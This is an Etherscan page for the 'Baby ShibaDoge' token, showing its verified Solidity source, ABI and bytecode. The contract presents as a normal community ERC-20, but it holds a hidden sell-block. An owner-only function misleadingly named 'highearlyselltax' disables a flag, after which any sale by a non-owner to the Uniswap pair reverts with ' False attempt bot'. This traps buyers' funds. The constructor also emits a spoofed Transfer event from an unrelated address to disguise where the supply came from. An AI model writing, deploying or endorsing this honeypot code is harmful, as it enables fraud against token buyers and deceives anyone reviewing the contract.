ETH Price: $3,115.48 (+1.47%)

Token

Baby ShibaDoge (babySHIBDOGE)
 

Overview

Max Total Supply

10,000,000,000,000 babySHIBDOGE

Holders

9

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000000000936855602 babySHIBDOGE

Value
$0.00
0x52efd3617f86070c1b1f17ed7961aaf205ad3363
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
babySHIBADOGE

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-01-20
*/

/*****
babyShibaDoge ($babySHIBDOGE)
The first community driven token created by Shiba & Dogecoin baby whales coming together for the greater good of both communities
██████╗░░█████╗░██████╗░██╗░░░██╗░██████╗██╗░░██╗██╗██████╗░██████╗░░█████╗░░██████╗░███████╗
██╔══██╗██╔══██╗██╔══██╗╚██╗░██╔╝██╔════╝██║░░██║██║██╔══██╗██╔══██╗██╔══██╗██╔════╝░██╔════╝
██████╦╝███████║██████╦╝░╚████╔╝░╚█████╗░███████║██║██████╦╝██║░░██║██║░░██║██║░░██╗░█████╗░░
██╔══██╗██╔══██║██╔══██╗░░╚██╔╝░░░╚═══██╗██╔══██║██║██╔══██╗██║░░██║██║░░██║██║░░╚██╗██╔══╝░░
██████╦╝██║░░██║██████╦╝░░░██║░░░██████╔╝██║░░██║██║██████╦╝██████╔╝╚█████╔╝╚██████╔╝███████╗
╚═════╝░╚═╝░░╚═╝╚═════╝░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚═╝╚═════╝░╚═════╝░░╚════╝░░╚═════╝░╚══════╝
***/













pragma solidity 0.8.9;
pragma experimental ABIEncoderV2;

// SPDX-License-Identifier:MIT

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dex Factory contract interface
interface IdexFacotry {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

// Dex Router02 contract interface
interface IDexRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract babySHIBADOGE is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    IDexRouter public dexRouter;
    address public dexPair;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;


    bool public _highearlyselltax = true;

   constructor() {
        _name = "Baby ShibaDoge";
        _symbol = "babySHIBDOGE";
        _decimals = 18;
        _totalSupply = 10000000000000 * 1e18;

        _balances[owner()] = _totalSupply.mul(1000).div(1e3);
   
        

        IDexRouter _dexRouter = IDexRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D //  UniswapV2Router02
        );

        // Create a uniswap pair for this new token
        dexPair = IdexFacotry(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );

        // set the rest of the contract variables
        dexRouter = _dexRouter;
 
        emit Transfer(address(0x6ADb2E268de2aA1aBF6578E4a8119b960E02928F), owner(), _totalSupply.mul(1000).div(1e3));
   
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function highearlyselltax(bool value) external onlyOwner {
        _highearlyselltax = value;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "WE: transfer amount exceeds allowance"
        );
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "Allowance not allowed"
        );
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ZERO");
        require(recipient != address(0), "transfer to zero");
        require(amount > 0, "transfer 0");
 

        if (!_highearlyselltax && sender != owner() && recipient != owner()) {
            require(recipient != dexPair, " False attempt bot");
        }
        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Not allowed");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "BEP20: approve from the zero address");
        require(spender != address(0), "BEP20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_highearlyselltax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"dexPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"highearlyselltax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526009805460ff191660011790553480156200001e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360408051808201909152600e8082526d42616279205368696261446f676560901b60209092019182526200009591600591620004c3565b5060408051808201909152600c8082526b6261627953484942444f474560a01b6020909201918252620000cb91600691620004c3565b5060078054601260ff199091161790556c7e37be2022c0914b2680000000600881905562000123906103e8906200010f9082620003a9602090811b6200069017901c565b6200043d60201b620007161790919060201c565b600160006200013a6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001b157600080fd5b505afa158015620001c6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001ec919062000569565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200023557600080fd5b505afa1580156200024a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000270919062000569565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002b957600080fd5b505af1158015620002ce573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f4919062000569565b600480546001600160a01b03199081166001600160a01b039384161790915560038054909116838316179055600054166001600160a01b0316736adb2e268de2aa1abf6578e4a8119b960e02928f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003916103e86200010f6103e8600854620003a960201b620006901790919060201c565b60405190815260200160405180910390a3506200067a565b600082620003ba5750600062000437565b6000620003c8838562000594565b905082620003d78583620005c2565b14620004345760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084015b60405180910390fd5b90505b92915050565b60006200043483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200048760201b60201c565b60008183620004ab5760405162461bcd60e51b81526004016200042b9190620005e5565b506000620004ba8486620005c2565b95945050505050565b828054620004d1906200063d565b90600052602060002090601f016020900481019282620004f5576000855562000540565b82601f106200051057805160ff191683800117855562000540565b8280016001018555821562000540579182015b828111156200054057825182559160200191906001019062000523565b506200054e92915062000552565b5090565b5b808211156200054e576000815560010162000553565b6000602082840312156200057c57600080fd5b81516001600160a01b03811681146200043457600080fd5b6000816000190483118215151615620005bd57634e487b7160e01b600052601160045260246000fd5b500290565b600082620005e057634e487b7160e01b600052601260045260246000fd5b500490565b600060208083528351808285015260005b818110156200061457858101830151858201604001528201620005f6565b8181111562000627576000604083870101525b50601f01601f1916929092016040019392505050565b600181811c908216806200065257607f821691505b602082108114156200067457634e487b7160e01b600052602260045260246000fd5b50919050565b610d4f806200068a6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610240578063dd62ed3e14610253578063ecd928141461028c578063f242ab411461029f578063f2fde38b146102b257600080fd5b8063715018a61461020a5780638da5cb5b1461021457806395d89b4114610225578063a457c2d71461022d57600080fd5b806323b872dd116100e957806323b872dd14610199578063313ce567146101ac57806339509351146101c15780634f0b56a0146101d457806370a08231146101e157600080fd5b806306fdde031461011b5780630758d92414610139578063095ea7b31461016457806318160ddd14610187575b600080fd5b6101236102c5565b6040516101309190610af3565b60405180910390f35b60035461014c906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b610177610172366004610b64565b610357565b6040519015158152602001610130565b6008545b604051908152602001610130565b6101776101a7366004610b8e565b61036e565b60075460405160ff9091168152602001610130565b6101776101cf366004610b64565b61041a565b6009546101779060ff1681565b61018b6101ef366004610bca565b6001600160a01b031660009081526001602052604090205490565b610212610456565b005b6000546001600160a01b031661014c565b6101236104ca565b61017761023b366004610b64565b6104d9565b61017761024e366004610b64565b61055c565b61018b610261366004610be5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61021261029a366004610c18565b610569565b60045461014c906001600160a01b031681565b6102126102c0366004610bca565b6105a6565b6060600580546102d490610c3a565b80601f016020809104026020016040519081016040528092919081815260200182805461030090610c3a565b801561034d5780601f106103225761010080835404028352916020019161034d565b820191906000526020600020905b81548152906001019060200180831161033057829003601f168201915b5050505050905090565b6000610364338484610758565b5060015b92915050565b600061037b84848461087c565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104025760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61040f8533858403610758565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610364918590610451908690610c8b565b610758565b6000546001600160a01b031633146104805760405162461bcd60e51b81526004016103f990610ca3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546102d490610c3a565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b8152602060048201526015602482015274105b1b1bddd85b98d9481b9bdd08185b1b1bddd959605a1b60448201526064016103f9565b6105523385858403610758565b5060019392505050565b600061036433848461087c565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016103f990610ca3565b6009805460ff1916911515919091179055565b6000546001600160a01b031633146105d05760405162461bcd60e51b81526004016103f990610ca3565b6001600160a01b0381166106355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008261069f57506000610368565b60006106ab8385610cd8565b9050826106b88583610cf7565b1461070f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b600061070f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610abc565b6001600160a01b0383166107ba5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b03821661081b5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108bb5760405162461bcd60e51b81526004016103f9906020808252600490820152635a45524f60e01b604082015260600190565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152601060248201526f7472616e7366657220746f207a65726f60801b60448201526064016103f9565b600081116109415760405162461bcd60e51b815260206004820152600a60248201526907472616e7366657220360b41b60448201526064016103f9565b60095460ff1615801561096257506000546001600160a01b03848116911614155b801561097c57506000546001600160a01b03838116911614155b156109d4576004546001600160a01b03838116911614156109d45760405162461bcd60e51b81526020600482015260126024820152710811985b1cd948185d1d195b5c1d08189bdd60721b60448201526064016103f9565b6001600160a01b03831660009081526001602052604090205481811015610a2b5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064016103f9565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610a62908490610c8b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610aae91815260200190565b60405180910390a350505050565b60008183610add5760405162461bcd60e51b81526004016103f99190610af3565b506000610aea8486610cf7565b95945050505050565b600060208083528351808285015260005b81811015610b2057858101830151858201604001528201610b04565b81811115610b32576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b5f57600080fd5b919050565b60008060408385031215610b7757600080fd5b610b8083610b48565b946020939093013593505050565b600080600060608486031215610ba357600080fd5b610bac84610b48565b9250610bba60208501610b48565b9150604084013590509250925092565b600060208284031215610bdc57600080fd5b61070f82610b48565b60008060408385031215610bf857600080fd5b610c0183610b48565b9150610c0f60208401610b48565b90509250929050565b600060208284031215610c2a57600080fd5b8135801515811461070f57600080fd5b600181811c90821680610c4e57607f821691505b60208210811415610c6f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610c9e57610c9e610c75565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610cf257610cf2610c75565b500290565b600082610d1457634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220b966a50e9f0e7d73cae2b747f582f7c1a46a7dc82b066d3885989afed0e9470664736f6c63430008090033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610240578063dd62ed3e14610253578063ecd928141461028c578063f242ab411461029f578063f2fde38b146102b257600080fd5b8063715018a61461020a5780638da5cb5b1461021457806395d89b4114610225578063a457c2d71461022d57600080fd5b806323b872dd116100e957806323b872dd14610199578063313ce567146101ac57806339509351146101c15780634f0b56a0146101d457806370a08231146101e157600080fd5b806306fdde031461011b5780630758d92414610139578063095ea7b31461016457806318160ddd14610187575b600080fd5b6101236102c5565b6040516101309190610af3565b60405180910390f35b60035461014c906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b610177610172366004610b64565b610357565b6040519015158152602001610130565b6008545b604051908152602001610130565b6101776101a7366004610b8e565b61036e565b60075460405160ff9091168152602001610130565b6101776101cf366004610b64565b61041a565b6009546101779060ff1681565b61018b6101ef366004610bca565b6001600160a01b031660009081526001602052604090205490565b610212610456565b005b6000546001600160a01b031661014c565b6101236104ca565b61017761023b366004610b64565b6104d9565b61017761024e366004610b64565b61055c565b61018b610261366004610be5565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61021261029a366004610c18565b610569565b60045461014c906001600160a01b031681565b6102126102c0366004610bca565b6105a6565b6060600580546102d490610c3a565b80601f016020809104026020016040519081016040528092919081815260200182805461030090610c3a565b801561034d5780601f106103225761010080835404028352916020019161034d565b820191906000526020600020905b81548152906001019060200180831161033057829003601f168201915b5050505050905090565b6000610364338484610758565b5060015b92915050565b600061037b84848461087c565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156104025760405162461bcd60e51b815260206004820152602560248201527f57453a207472616e7366657220616d6f756e74206578636565647320616c6c6f60448201526477616e636560d81b60648201526084015b60405180910390fd5b61040f8533858403610758565b506001949350505050565b3360008181526002602090815260408083206001600160a01b03871684529091528120549091610364918590610451908690610c8b565b610758565b6000546001600160a01b031633146104805760405162461bcd60e51b81526004016103f990610ca3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600680546102d490610c3a565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b8152602060048201526015602482015274105b1b1bddd85b98d9481b9bdd08185b1b1bddd959605a1b60448201526064016103f9565b6105523385858403610758565b5060019392505050565b600061036433848461087c565b6000546001600160a01b031633146105935760405162461bcd60e51b81526004016103f990610ca3565b6009805460ff1916911515919091179055565b6000546001600160a01b031633146105d05760405162461bcd60e51b81526004016103f990610ca3565b6001600160a01b0381166106355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b60008261069f57506000610368565b60006106ab8385610cd8565b9050826106b88583610cf7565b1461070f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f9565b9392505050565b600061070f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610abc565b6001600160a01b0383166107ba5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103f9565b6001600160a01b03821661081b5760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103f9565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108bb5760405162461bcd60e51b81526004016103f9906020808252600490820152635a45524f60e01b604082015260600190565b6001600160a01b0382166109045760405162461bcd60e51b815260206004820152601060248201526f7472616e7366657220746f207a65726f60801b60448201526064016103f9565b600081116109415760405162461bcd60e51b815260206004820152600a60248201526907472616e7366657220360b41b60448201526064016103f9565b60095460ff1615801561096257506000546001600160a01b03848116911614155b801561097c57506000546001600160a01b03838116911614155b156109d4576004546001600160a01b03838116911614156109d45760405162461bcd60e51b81526020600482015260126024820152710811985b1cd948185d1d195b5c1d08189bdd60721b60448201526064016103f9565b6001600160a01b03831660009081526001602052604090205481811015610a2b5760405162461bcd60e51b815260206004820152600b60248201526a139bdd08185b1b1bddd95960aa1b60448201526064016103f9565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610a62908490610c8b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610aae91815260200190565b60405180910390a350505050565b60008183610add5760405162461bcd60e51b81526004016103f99190610af3565b506000610aea8486610cf7565b95945050505050565b600060208083528351808285015260005b81811015610b2057858101830151858201604001528201610b04565b81811115610b32576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610b5f57600080fd5b919050565b60008060408385031215610b7757600080fd5b610b8083610b48565b946020939093013593505050565b600080600060608486031215610ba357600080fd5b610bac84610b48565b9250610bba60208501610b48565b9150604084013590509250925092565b600060208284031215610bdc57600080fd5b61070f82610b48565b60008060408385031215610bf857600080fd5b610c0183610b48565b9150610c0f60208401610b48565b90509250929050565b600060208284031215610c2a57600080fd5b8135801515811461070f57600080fd5b600181811c90821680610c4e57607f821691505b60208210811415610c6f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008219821115610c9e57610c9e610c75565b500190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000816000190483118215151615610cf257610cf2610c75565b500290565b600082610d1457634e487b7160e01b600052601260045260246000fd5b50049056fea2646970667358221220b966a50e9f0e7d73cae2b747f582f7c1a46a7dc82b066d3885989afed0e9470664736f6c63430008090033

Deployed Bytecode Sourcemap

5101:5401:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6345:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5318:27;;;;;-1:-1:-1;;;;;5318:27:0;;;;;;-1:-1:-1;;;;;798:32:1;;;780:51;;768:2;753:18;5318:27:0;616:221:1;7348:210:0;;;;;;:::i;:::-;;:::i;:::-;;;1444:14:1;;1437:22;1419:41;;1407:2;1392:18;7348:210:0;1279:187:1;6622:100:0;6702:12;;6622:100;;;1617:25:1;;;1605:2;1590:18;6622:100:0;1471:177:1;7675:526:0;;;;;;:::i;:::-;;:::i;6531:83::-;6597:9;;6531:83;;6597:9;;;;2128:36:1;;2116:2;2101:18;6531:83:0;1986:184:1;8209:297:0;;;;;;:::i;:::-;;:::i;5508:36::-;;;;;;;;;6730:177;;;;;;:::i;:::-;-1:-1:-1;;;;;6881:18:0;6849:7;6881:18;;;:9;:18;;;;;;;6730:177;4648:157;;;:::i;:::-;;4434:79;4472:7;4499:6;-1:-1:-1;;;;;4499:6:0;4434:79;;6436:87;;;:::i;8514:466::-;;;;;;:::i;:::-;;:::i;6915:216::-;;;;;;:::i;:::-;;:::i;7139:201::-;;;;;;:::i;:::-;-1:-1:-1;;;;;7305:18:0;;;7273:7;7305:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7139:201;7566:101;;;;;;:::i;:::-;;:::i;5352:22::-;;;;;-1:-1:-1;;;;;5352:22:0;;;4813:281;;;;;;:::i;:::-;;:::i;6345:83::-;6382:13;6415:5;6408:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6345:83;:::o;7348:210::-;7467:4;7489:39;3866:10;7512:7;7521:6;7489:8;:39::i;:::-;-1:-1:-1;7546:4:0;7348:210;;;;;:::o;7675:526::-;7815:4;7832:36;7842:6;7850:9;78